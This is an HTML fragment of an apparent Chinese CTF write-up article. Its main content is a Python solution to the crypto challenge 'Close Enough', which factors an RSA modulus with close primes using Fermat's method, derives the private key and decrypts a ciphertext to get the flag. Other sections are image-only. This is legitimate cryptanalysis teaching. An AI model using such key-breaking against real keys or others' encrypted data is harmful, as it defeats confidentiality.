style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b42f0d57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkxYUzlYzjwodusRNV65aAicIgkSAVht4PGmbNjVj13sMBDnibHcdSGv5Q%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Angry Zeyu2001</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">扔进ps拼图</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="199" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8afd93c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkVaec6pM5vb2TwhDa4diaYf4hZYicRQZKA8nGXxs37Oq2t4DT76ibzwOgg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Survey</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="223" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b02377f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkB79U2QotXoxJBAwCdjIJg93z6bKDhqibu5nLsw7HRzictB4PmSibJgicVA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;text-align: left;margin: 20px 10px 0px 0px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;font-size: 22px;color: #0e88eb;font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid #0e88eb;">Crypto</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Close Enough</span><span style="display: none;"></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a626a4;line-height: 26px;">import</span> libnum<br/><span style="color: #a626a4;line-height: 26px;">import</span> gmpy2<br/><span style="color: #a626a4;line-height: 26px;">from</span> Crypto.PublicKey <span style="color: #a626a4;line-height: 26px;">import</span> RSA<br/><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">def</span> <span style="color: #4078f2;line-height: 26px;">isqrt</span><span style="line-height: 26px;">(n)</span>:</span><br/>    x = n<br/>    y = (x + n // x) // <span style="color: #986801;line-height: 26px;">2</span><br/>    <span style="color: #a626a4;line-height: 26px;">while</span> y &lt; x:<br/>        x = y<br/>        y = (x + n // x) // <span style="color: #986801;line-height: 26px;">2</span><br/>    <span style="color: #a626a4;line-height: 26px;">return</span> x<br/><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">def</span> <span style="color: #4078f2;line-height: 26px;">fermat</span><span style="line-height: 26px;">(n, verbose=True)</span>:</span><br/>    a = isqrt(n)  <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># int(ceil(n**0.5))</span><br/>    b2 = a * a - n<br/>    b = isqrt(n)  <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># int(b2**0.5)</span><br/>    count = <span style="color: #986801;line-height: 26px;">0</span><br/>    <span style="color: #a626a4;line-height: 26px;">while</span> b * b != b2:<br/>        <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># if verbose:</span><br/>        <span style="color: #a0a1a7;font-style: italic;line-height: 26px;">#     print(&#39;Trying: a=%s b2=%s b=%s&#39; % (a, b2, b))</span><br/>        a = a + <span style="color: #986801;line-height: 26px;">1</span><br/>        b2 = a * a - n<br/>        b = isqrt(b2)  <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># int(b2**0.5)</span><br/>        count += <span style="color: #986801;line-height: 26px;">1</span><br/>    p = a + b<br/>    q = a - b<br/>    <span style="color: #a626a4;line-height: 26px;">assert</span> n == p * q<br/>    <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># print(&#39;a=&#39;,a)</span><br/>    <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># print(&#39;b=&#39;,b)</span><br/>    <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># print(&#39;p=&#39;,p)</span><br/>    <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># print(&#39;q=&#39;,q)</span><br/>    <span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># print(&#39;pq=&#39;,p*q)</span><br/>    <span style="color: #a626a4;line-height: 26px;">return</span> p, q<br/><span style="color: #a626a4;line-height: 26px;">with</span> open(<span style="color: #50a14f;line-height: 26px;">&#34;pubckey1.pem&#34;</span>, <span style="color: #50a14f;line-height: 26px;">&#34;rb&#34;</span>) <span style="color: #a626a4;line-height: 26px;">as</span> f:<br/>    key = RSA.import_key(f.read())<br/>    n = key.n<br/>    e = key.e<br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># 费马分解,</span><br/>c = <span style="color: #986801;line-height: 26px;">4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017</span><br/>n1 = fermat(n)<br/>p = n1[<span style="color: #986801;line-height: 26px;">0</span>]<br/>q = n1[<span style="color: #986801;line-height: 26px;">1</span>]<br/>phi_n=(p<span style="color: #986801;line-height: 26px;">-1</span>)*(q<span style="color: #986801;line-height: 26px;">-1</span>)<br/>d=gmpy2.invert(e,phi_n)<br/>m=pow(c,d,n)<br/>print(m)<br/>print(libnum.n2s(int(m)).decode())<br/></code></pre></section><h2 data-tool="mdnice编辑器" style="margin: 20px 10px 0px 0px;padding: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;"><span style="margin: 0px;padding: 0px 0px 0px 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);"><span data-raw-text="关" data-textnode-index-1653889638433="496" data-index-1653889638433="4602" class="character hover" style=" margin: 0px;padding: 0px; border-width: 0px;border-style: initial;border-color: initial;background-color: rgba(9, 187, 7, 0.31); "><span style="margin: 0px;padding: 0px;"><span data-raw-text="关" data-textnode-index-1654579592493="1256" data-index-1654579592493="14939" class="character" style="margin: 0px;padding: 0px;">关</span></span></span><span data-raw-text="注" data-textnode-index-1653889638433="496" data-index-1653889638433="4603" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="注" data-textnode-index-1654579592493="1257" data-index-1654579592493="14940" class="character" style="margin: 0px;padding: 0px;">注</span></span></span><span data-raw-text="公" data-textnode-index-1653889638433="496" data-index-1653889638433="4604" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="公" data-textnode-index-1654579592493="1258" data-index-1654579592493="14941" class="character" style="margin: 0px;padding: 0px;">公</span></span></span><span data-raw-text="众" data-textnode-index-1653889638433="496" data-index-1653889638433="4605" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="众" data-textnode-index-1654579592493="1259" data-index-1654579592493="14942" class="character" style="margin: 0px;padding: 0px;">众</span></span></span><span data-raw-text="号" data-textnode-index-1653889638433="496" data-index-1653889638433="4606" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="号" data-textnode-index-1654579592493="1260" data-index-1654579592493="14943" class="character" style="margin: 0px;padding: 0px;">号</span></span></span></span></h2><pre data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin: 0px 0px -7px;padding: 0px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 900.594px;border-radius: 5px;"></span><code style="margin: 0px;padding: 15px 16px 16px;overflow-x: auto;color: rgb(56, 58, 66);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(250, 250, 250);border-radius: 5px;"><span data-raw-text="下" data-textnode-index-1653889638433="497" data-index-1653889638433="4607" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="下" data-textnode-index-1654579592493="1261" data-index-1654579592493="14944" class="character" style="margin: 0px;padding: 0px;">下</span></span></span><span data-raw-text="面" data-textnode-index-1653889638433="497" data-index-1653889638433="4608" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="面" data-textnode-index-1654579592493="1262" data-index-1654579592493="14945" class="character" style="margin: 0px;padding: 0px;">面</span></span></span><span data-raw-text="就" data-textnode-index-1653889638433="497" data-index-1653889638433="4609" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="就" data-textnode-index-1654579592493="1263" data-index-1654579592493="14946" class="character" style="margin: 0px;padding: 0px;">就</span></span></span><span data-raw-text="是" data-textnode-index-1653889638433="497" data-index-1653889638433="4610" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="是" data-textnode-index-1654579592493="1264" data-index-1654579592493="14947" class="character" style="margin: 0px;padding: 0px;">是</span></span></span><span data-raw-text="文" data-textnode-index-1653889638433="497" data-index-1653889638433="4611" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="文" data-textnode-index-1654579592493="1265" data-index-1654579592493="14948" class="character" style="margin: 0px;padding: 0px;">文</span></span></span><span data-raw-text="库" data-textnode-index-1653889638433="497" data-index-1653889638433="4612" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="库" data-textnode-index-1654579592493="1266" data-index-1654579592493="14949" class="character" style="margin: 0px;padding: 0px;">库</span></span></span><span data-raw-text="的" data-textnode-index-1653889638433="497" data-index-1653889638433="4613" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="的" data-textnode-index-1654579592493="1267" data-index-1654579592493="14950" class="character" style="margin: 0px;padding: 0px;">的</span></span></span><span data-raw-text="公" data-textnode-index-1653889638433="497" data-index-1653889638433="4614" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="公" data-textnode-index-1654579592493="1268" data-index-1654579592493="14951" class="character" style="margin: 0px;padding: 0px;">公</span></span></span><span data-raw-text="众" data-textnode-index-1653889638433="497" data-index-1653889638433="4615" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="众" data-textnode-index-1654579592493="1269" data-index-1654579592493="14952" class="character" style="margin: 0px;padding: 0px;">众</span></span></span><span data-raw-text="号" data-textnode-index-1653889638433="497" data-index-1653889638433="4616" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="号" data-textnode-index-1654579592493="1270" data-index-1654579592493="14953" class="character" style="margin: 0px;padding: 0px;">号</span></span></span><span data-raw-text="啦" data-textnode-index-1653889638433="497" data-index-1653889638433="4617" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="啦" data-textnode-index-1654579592493="1271" data-index-1654579592493="14954" class="character" style="margin: 0px;padding: 0px;">啦</span></span></span><span data-raw-text="，" data-textnode-index-1653889638433="497" data-index-1653889638433="4618" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="，" data-textnode-index-1654579592493="1272" data-index-1654579592493="14955" class="character" style="margin: 0px;padding: 0px;">，</span></span></span><span data-raw-text="更" data-textnode-index-1653889638433="497" data-index-1653889638433="4619" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="更" data-textnode-index-1654579592493="1273" data-index-1654579592493="14956" class="character" style="margin: 0px;padding: 0px;">更</span></span></span><span data-raw-text="新" data-textnode-index-1653889638433="497" data-index-1653889638433="4620" class="character hover" style=" margin: 0px;padding: 0px; border-width: 0px;border-style: initial;border-color: initial;background-color: rgba(9, 187, 7, 0.31); "><span style="margin: 0px;padding: 0px;"><span data-raw-text="新" data-textnode-index-1654579592493="1274" data-index-1654579592493="14957" class="character" style="margin: 0px;padding: 0px;">新</span></span></span><span data-raw-text="的" data-textnode-index-1653889638433="497" data-index-1653889638433="4621" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="的" data-textnode-index-1654579592493="1275" data-index-1654579592493="14958" class="character" style="margin: 0px;padding: 0px;">的</span></span></span><span data-raw-text="文" data-textnode-index-1653889638433="497" data-index-1653889638433="4622" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="文" data-textnode-index-1654579592493="1276" data-index-1654579592493="14959" class="character" style="margin: 0px;padding: 0px;">文</span></span></span><span data-raw-text="章" data-textnode-index-1653889638433="497" data-index-1653889638433="4623" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="章" data-textnode-index-1654579592493="1277" data-index-1654579592493="14960" class="character" style="margin: 0px;padding: 0px;">章</span></span></span><span data-raw-text="都" data-textnode-index-1653889638433="497" data-index-1653889638433="4624" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="都" data-textnode-index-1654579592493="1278" data-index-1654579592493="14961" class="character" style="margin: 0px;padding: 0px;">都</span></span></span><span data-raw-text="会" data-textnode-index-1653889638433="497" data-index-1653889638433="4625" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="会" data-textnode-index-1654579592493="1279" data-index-1654579592493="14962" class="character" style="margin: 0px;padding: 0px;">会</span></span></span><span data-raw-text="在" data-textnode-index-1653889638433="497" data-index-1653889638433="4626" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="在" data-textnode-index-1654579592493="1280" data-index-1654579592493="14963" class="character" style="margin: 0px;padding: 0px;">在</span></span></span><span data-raw-text="第" data-textnode-index-1653889638433="497" data-index-1653889638433="4627" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="第" data-textnode-index-1654579592493="1281" data-index-1654579592493="14964" class="character" style="margin: 0px;padding: 0px;">第</span></span></span><span data-raw-text="一" data-textnode-index-1653889638433="497" data-index-1653889638433="4628" class="character hover" style=" margin: 0px;padding: 0px; border-width: 0px;border-style: initial;border-color: initial;background-color: rgba(9, 187, 7, 0.31); "><span style="margin: 0px;padding: 0px;"><span data-raw-text="一" data-textnode-index-1654579592493="1282" data-index-1654579592493="14965" class="character" style="margin: 0px;padding: 0px;">一</span></span></span><span data-raw-text="时" data-textnode-index-1653889638433="497" data-index-1653889638433="4629" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="时" data-textnode-index-1654579592493="1283" data-index-1654579592493="14966" class="character" style="margin: 0px;padding: 0px;">时</span></span></span><span data-raw-text="间" data-textnode-index-1653889638433="497" data-index-1653889638433="4630" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="间" data-textnode-index-1654579592493="1284" data-index-1654579592493="14967" class="character" style="margin: 0px;padding: 0px;">间</span></span></span><span data-raw-text="推" data-textnode-index-1653889638433="497" data-index-1653889638433="4631" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="推" data-textnode-index-1654579592493="1285" data-index-1654579592493="14968" class="character" style="margin: 0px;padding: 0px;">推</span></span></span><span data-raw-text="送" data-textnode-index-1653889638433="497" data-index-1653889638433="4632" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="送" data-textnode-index-1654579592493="1286" data-index-1654579592493="14969" class="character" style="margin: 0px;padding: 0px;">送</span></span></span><span data-raw-text="在" data-textnode-index-1653889638433="497" data-index-1653889638433="4633" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="在" data-textnode-index-1654579592493="1287" data-index-1654579592493="14970" class="character" style="margin: 0px;padding: 0px;">在</span></span></span><span data-raw-text="交" data-textnode-index-1653889638433="497" data-index-1653889638433="4634" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="交" data-textnode-index-1654579592493="1288" data-index-1654579592493="14971" class="character" style="margin: 0px;padding: 0px;">交</span></span></span><span data-raw-text="流" data-textnode-index-1653889638433="497" data-index-1653889638433="4635" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="流" data-textnode-index-1654579592493="1289" data-index-1654579592493="14972" class="character" style="margin: 0px;padding: 0px;">流</span></span></span><span data-raw-text="群" data-textnode-index-1653889638433="497" data-index-1653889638433="4636" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="群" data-textnode-index-1654579592493="1290" data-index-1654579592493="14973" class="character" style="margin: 0px;padding: 0px;">群</span></span></span><span data-raw-text="和" data-textnode-index-1653889638433="497" data-index-1653889638433="4637" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="和" data-textnode-index-1654579592493="1291" data-index-1654579592493="14974" class="character" style="margin: 0px;padding: 0px;">和</span></span></span><span data-raw-text="公" data-textnode-index-1653889638433="497" data-index-1653889638433="4638" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="公" data-textnode-index-1654579592493="1292" data-index-1654579592493="14975" class="character" style="margin: 0px;padding: 0px;">公</span></span></span><span data-raw-text="众" data-textnode-index-1653889638433="497" data-index-1653889638433="4639" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="众" data-textnode-index-1654579592493="1293" data-index-1654579592493="14976" class="character" style="margin: 0px;padding: 0px;">众</span></span></span><span data-raw-text="号" data-textnode-index-1653889638433="497" data-index-1653889638433="4640" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="号" data-textnode-index-1654579592493="1294" data-index-1654579592493="14977" class="character" style="margin: 0px;padding: 0px;">号</span></span></span><br style="margin: 0px;padding: 0px;"/><span data-raw-text="想" data-textnode-index-1653889638433="498" data-index-1653889638433="4641" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="想" data-textnode-index-1654579592493="1295" data-index-1654579592493="14978" class="character" style="margin: 0px;padding: 0px;">想</span></span></span><span data-raw-text="要" data-textnode-index-1653889638433="498" data-index-1653889638433="4642" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="要" data-textnode-index-1654579592493="1296" data-index-1654579592493="14979" class="character" style="margin: 0px;padding: 0px;">要</span></span></span><span data-raw-text="加" data-textnode-index-1653889638433="498" data-index-1653889638433="4643" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="加" data-textnode-index-1654579592493="1297" data-index-1654579592493="14980" class="character" style="margin: 0px;padding: 0px;">加</span></span></span><span data-raw-text="入" data-textnode-index-1653889638433="498" data-index-1653889638433="4644" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="入" data-textnode-index-1654579592493="1298" data-index-1654579592493="14981" class="character" style="margin: 0px;padding: 0px;">入</span></span></span><span data-raw-text="交" data-textnode-index-1653889638433="498" data-index-1653889638433="4645" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="交" data-textnode-index-1654579592493="1299" data-index-1654579592493="14982" class="character" style="margin: 0px;padding: 0px;">交</span></span></span><span data-raw-text="流" data-textnode-index-1653889638433="498" data-index-1653889638433="4646" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="流" data-textnode-index-1654579592493="1300" data-index-1654579592493="14983" class="character" style="margin: 0px;padding: 0px;">流</span></span></span><span data-raw-text="群" data-textnode-index-1653889638433="498" data-index-1653889638433="4647" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="群" data-textnode-index-1654579592493="1301" data-index-1654579592493="14984" class="character" style="margin: 0px;padding: 0px;">群</span></span></span><span data-raw-text="的" data-textnode-index-1653889638433="498" data-index-1653889638433="4648" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="的" data-textnode-index-1654579592493="1302" data-index-1654579592493="14985" class="character" style="margin: 0px;padding: 0px;">的</span></span></span><span data-raw-text="师" data-textnode-index-1653889638433="498" data-index-1653889638433="4649" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="师" data-textnode-index-1654579592493="1303" data-index-1654579592493="14986" class="character" style="margin: 0px;padding: 0px;">师</span></span></span><span data-raw-text="傅" data-textnode-index-1653889638433="498" data-index-1653889638433="4650" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="傅" data-textnode-index-1654579592493="1304" data-index-1654579592493="14987" class="character" style="margin: 0px;padding: 0px;">傅</span></span></span><span data-raw-text="公" data-textnode-index-1653889638433="498" data-index-1653889638433="4651" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="公" data-textnode-index-1654579592493="1305" data-index-1654579592493="14988" class="character" style="margin: 0px;padding: 0px;">公</span></span></span><span data-raw-text="众" data-textnode-index-1653889638433="498" data-index-1653889638433="4652" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="众" data-textnode-index-1654579592493="1306" data-index-1654579592493="14989" class="character" style="margin: 0px;padding: 0px;">众</span></span></span><span data-raw-text="号" data-textnode-index-1653889638433="498" data-index-1653889638433="4653" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="号" data-textnode-index-1654579592493="1307" data-index-1654579592493="14990" class="character" style="margin: 0px;padding: 0px;">号</span></span></span><span data-raw-text="点" data-textnode-index-1653889638433="498" data-index-1653889638433="4654" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="点" data-textnode-index-1654579592493="1308" data-index-1654579592493="14991" class="character" style="margin: 0px;padding: 0px;">点</span></span></span><span data-raw-text="击" data-textnode-index-1653889638433="498" data-index-1653889638433="4655" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="击" data-textnode-index-1654579592493="1309" data-index-1654579592493="14992" class="character" style="margin: 0px;padding: 0px;">击</span></span></span><span data-raw-text="交" data-textnode-index-1653889638433="498" data-index-1653889638433="4656" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="交" data-textnode-index-1654579592493="1310" data-index-1654579592493="14993" class="character" style="margin: 0px;padding: 0px;">交</span></span></span><span data-raw-text="流" data-textnode-index-1653889638433="498" data-index-1653889638433="4657" class="character hover" style=" margin: 0px;padding: 0px; border-width: 0px;border-style: initial;border-color: initial;background-color: rgba(9, 187, 7, 0.31); "><span style="margin: 0px;padding: 0px;"><span data-raw-text="流" data-textnode-index-1654579592493="1311" data-index-1654579592493="14994" class="character" style="margin: 0px;padding: 0px;">流</span></span></span><span data-raw-text="群" data-textnode-index-1653889638433="498" data-index-1653889638433="4658" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="群" data-textnode-index-1654579592493="1312" data-index-1654579592493="14995" class="character" style="margin: 0px;padding: 0px;">群</span></span></span><span data-raw-text="找" data-textnode-index-1653889638433="498" data-index-1653889638433="4659" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="找" data-textnode-index-1654579592493="1313" data-index-1654579592493="14996" class="character" style="margin: 0px;padding: 0px;">找</span></span></span><span data-raw-text="W" data-textnode-index-1653889638433="498" data-index-1653889638433="4660" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="W" data-textnode-index-1654579592493="1314" data-index-1654579592493="14997" class="character" style="margin: 0px;padding: 0px;">W</span></span></span><span data-raw-text="g" data-textnode-index-1653889638433="498" data-index-1653889638433="4661" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="g" data-textnode-index-1654579592493="1315" data-index-1654579592493="14998" class="character" style="margin: 0px;padding: 0px;">g</span></span></span><span data-raw-text="p" data-textnode-index-1653889638433="498" data-index-1653889638433="4662" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="p" data-textnode-index-1654579592493="1316" data-index-1654579592493="14999" class="character" style="margin: 0px;padding: 0px;">p</span></span></span><span data-raw-text="s" data-textnode-index-1653889638433="498" data-index-1653889638433="4663" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="s" data-textnode-index-1654579592493="1317" data-index-1654579592493="15000" class="character" style="margin: 0px;padding: 0px;">s</span></span></span><span data-raw-text="e" data-textnode-index-1653889638433="498" data-index-1653889638433="4664" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="e" data-textnode-index-1654579592493="1318" data-index-1654579592493="15001" class="character" style="margin: 0px;padding: 0px;">e</span></span></span><span data-raw-text="c" data-textnode-index-1653889638433="498" data-index-1653889638433="4665" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="c" data-textnode-index-1654579592493="1319" data-index-1654579592493="15002" class="character" style="margin: 0px;padding: 0px;">c</span></span></span><span data-raw-text="B" data-textnode-index-1653889638433="498" data-index-1653889638433="4666" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="B" data-textnode-index-1654579592493="1320" data-index-1654579592493="15003" class="character" style="margin: 0px;padding: 0px;">B</span></span></span><span data-raw-text="o" data-textnode-index-1653889638433="498" data-index-1653889638433="4667" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="o" data-textnode-index-1654579592493="1321" data-index-1654579592493="15004" class="character" style="margin: 0px;padding: 0px;">o</span></span></span><span data-raw-text="t" data-textnode-index-1653889638433="498" data-index-1653889638433="4668" class="character" style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;"><span data-raw-text="t" data-textnode-index-1654579592493="1322" data-index-1654579592493="15005" class="character" style="margin: 0px;padding: 